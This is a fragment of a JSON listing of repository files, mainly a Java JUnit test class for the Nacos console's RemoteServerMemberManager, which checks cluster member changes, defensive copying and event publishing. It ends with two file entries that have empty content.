    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.cluster;\n\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.core.cluster.MemberLookup;\nimport com.alibaba.nacos.core.cluster.MembersChangeEvent;\nimport com.alibaba.nacos.plugin.auth.constant.Constants;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.ArgumentCaptor;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.core.env.ConfigurableEnvironment;\nimport org.springframework.mock.env.MockEnvironment;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Set;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n@ExtendWith(MockitoExtension.class)\nclass RemoteServerMemberManagerTest {\n    \n    private ConfigurableEnvironment cachedEnvironment;\n    \n    private RemoteServerMemberManager memberManager;\n    \n    @Mock\n    private MemberLookup mockLookup;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        cachedEnvironment = EnvUtil.getEnvironment();\n        MockEnvironment environment = new MockEnvironment();\n        environment.setProperty(Constants.Auth.NACOS_CORE_AUTH_ADMIN_ENABLED, \"false\");\n        EnvUtil.setEnvironment(environment);\n        memberManager = new RemoteServerMemberManager();\n    }\n    \n    @AfterEach\n    void tearDown() {\n        EnvUtil.setEnvironment(cachedEnvironment);\n    }\n    \n    @Test\n    void testInitAndStartLookup() throws Exception {\n        memberManager.init();\n        MemberLookup lookup = (MemberLookup) ReflectionTestUtils.getField(memberManager, \"lookup\");\n        assertNotNull(lookup);\n    }\n    \n    @Test\n    void testMemberChange() {\n        // 准备测试数据\n        Member member = Member.builder().ip(\"127.0.0.1\").port(8848).build();\n        Set<Member> members = Collections.singleton(member);\n        \n        // 执行方法\n        boolean result = memberManager.memberChange(members);\n        \n        // 验证结果\n        assertTrue(result);\n        assertEquals(1, memberManager.allMembers().size());\n        assertEquals(member, memberManager.allMembers().iterator().next());\n    }\n    \n    @Test\n    void testAllMembersReturnsCopy() {\n        // 准备测试数据\n        Member member = Member.builder().ip(\"127.0.0.1\").port(8848).build();\n        memberManager.memberChange(Collections.singleton(member));\n        \n        // 修改返回的集合\n        Collection<Member> members = memberManager.allMembers();\n        members.clear();\n        \n        // 验证原始数据未被修改\n        assertEquals(1, memberManager.allMembers().size());\n    }\n    \n    @Test\n    void testEventPublishingOnMemberChange() {\n        try (MockedStatic<NotifyCenter> notifyCenter = Mockito.mockStatic(NotifyCenter.class)) {\n            // 准备测试数据\n            Member member = Member.builder().ip(\"127.0.0.1\").port(8848).build();\n            \n            // 执行方法\n            memberManager.memberChange(Collections.singleton(member));\n            \n            // 验证事件发布\n            ArgumentCaptor<MembersChangeEvent> eventCaptor = ArgumentCaptor.forClass(MembersChangeEvent.class);\n            notifyCenter.verify(() -> NotifyCenter.publishEvent(eventCaptor.capture()));\n            \n            MembersChangeEvent event = eventCaptor.getValue();\n            assertEquals(1, event.getMembers().size());\n            assertEquals(member, event.getMembers().iterator().next());\n        }\n    }\n    \n    @Test\n    void shouldHandleEmptyMemberList() {\n        boolean result = memberManager.memberChange(Collections.emptySet());\n        assertTrue(result);\n        assertEquals(0, memberManager.allMembers().size());\n    }\n    \n    @Test\n    void shouldHandleDuplicateMembers() {\n        Member member1 = Member.builder().ip(\"127.0.0.1\").port(8848).build();\n        Member member2 = Member.builder().ip(\"127.0.0.1\").port(8848).build();\n        \n        memberManager.memberChange(List.of(member1, member2));\n        \n        assertEquals(1, memberManager.allMembers().size());\n    }\n}"
  },
  {
    "path": "console-ui/src/pages/AI/README.md",
    "content": ""
  },
  {
    "path": "console-ui/test/hosts",
    "content": ""
  }
]